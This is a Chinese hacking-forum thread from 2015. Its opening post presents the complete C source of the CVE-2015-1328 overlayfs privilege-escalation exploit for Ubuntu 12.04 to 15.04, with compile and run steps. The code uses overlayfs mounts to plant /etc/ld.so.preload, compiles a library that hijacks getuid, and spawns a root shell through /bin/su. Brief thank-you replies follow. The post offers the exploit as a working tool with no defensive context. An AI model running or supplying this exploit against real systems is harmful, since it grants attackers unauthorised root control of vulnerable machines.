查看: 42859|回复: 368

提权-Ubuntu 12.04, 14.04, 14.10, 15.04

[复制链接]
  • TA的每日心情

    2020-4-12 22:16
  • 签到天数: 71 天

    [LV.6]常住居民II

    发表于 2015-6-18 21:21:39 | 显示全部楼层 |阅读模式
    下午在论坛看到90发的关于ubuntu的系统漏洞 CVE: 2015-1328,于是测试了一番果然使普通用户获得了root权限{:soso_e144:}


    首先查看下内核版本(2015年6月皆可破!)
    $uname -a
    Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

    编写源码

    $vi ofs.c
    [C] 纯文本查看 复制代码
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sched.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/mount.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sched.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/mount.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <fcntl.h>
    #include <string.h>
    #include <linux/sched.h>
     
    #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
     
    static char child_stack[1024*1024];
     
    static int
    child_exec(void *stuff)
    {
        char *file;
        system("rm -rf /tmp/ns_sploit");
        mkdir("/tmp/ns_sploit", 0777);
        mkdir("/tmp/ns_sploit/work", 0777);
        mkdir("/tmp/ns_sploit/upper",0777);
        mkdir("/tmp/ns_sploit/o",0777);
     
        fprintf(stderr,"mount #1\n");
        if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
    // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
            if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
                fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
                exit(-1);
            }
            file = ".access";
            chmod("/tmp/ns_sploit/work/work",0777);
        } else file = "ns_last_pid";
     
        chdir("/tmp/ns_sploit/o");
        rename(file,"ld.so.preload");
     
        chdir("/");
        umount("/tmp/ns_sploit/o");
        fprintf(stderr,"mount #2\n");
        if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
            if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
                exit(-1);
            }
            chmod("/tmp/ns_sploit/work/work",0777);
        }
     
        chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
        umount("/tmp/ns_sploit/o");
    }
     
    int
    main(int argc, char **argv)
    {
        int status, fd, lib;
        pid_t wrapper, init;
        int clone_flags = CLONE_NEWNS | SIGCHLD;
     
        fprintf(stderr,"spawning threads\n");
     
        if((wrapper = fork()) == 0) {
            if(unshare(CLONE_NEWUSER) != 0)
                fprintf(stderr, "failed to create new user namespace\n");
     
            if((init = fork()) == 0) {
                pid_t pid =
                    clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
                if(pid < 0) {
                    fprintf(stderr, "failed to create new mount namespace\n");
                    exit(-1);
                }
     
                waitpid(pid, &status, 0);
     
            }
     
            waitpid(init, &status, 0);
            return 0;
        }
     
        usleep(300000);
     
        wait(NULL);
     
        fprintf(stderr,"child threads done\n");
     
        fd = open("/etc/ld.so.preload",O_WRONLY);
     
        if(fd == -1) {
            fprintf(stderr,"exploit failed\n");
            exit(-1);
        }
     
        fprintf(stderr,"/etc/ld.so.preload created\n");
        fprintf(stderr,"creating shared library\n");
        lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
        write(lib,LIB,strlen(LIB));
        close(lib);
        lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
        if(lib != 0) {
            fprintf(stderr,"couldn't create dynamic library\n");
            exit(-1);
        }
        write(fd,"/tmp/ofs-lib.so\n",16);
        close(fd);
        system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
        execl("/bin/su","su",NULL);
    }


    编译源代码:
    $gcc ofs.c -o ofs

    运行程序
    $./ofs
    ubuntu.png
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2021-1-25 21:16
  • 签到天数: 419 天

    [LV.9]以坛为家II

    发表于 2015-6-19 11:54:49 | 显示全部楼层
    头像。。。。。
    回复

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-6-26 23:03:20 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-6-27 02:13:50 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 10:16:33 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 17:32:29 | 显示全部楼层
    加油!干倒冰儿和酒仙!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 06:27:55 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-6-28 07:01:59 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 07:45:18 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 10:37:56 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 02:02 , Processed in 0.031813 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部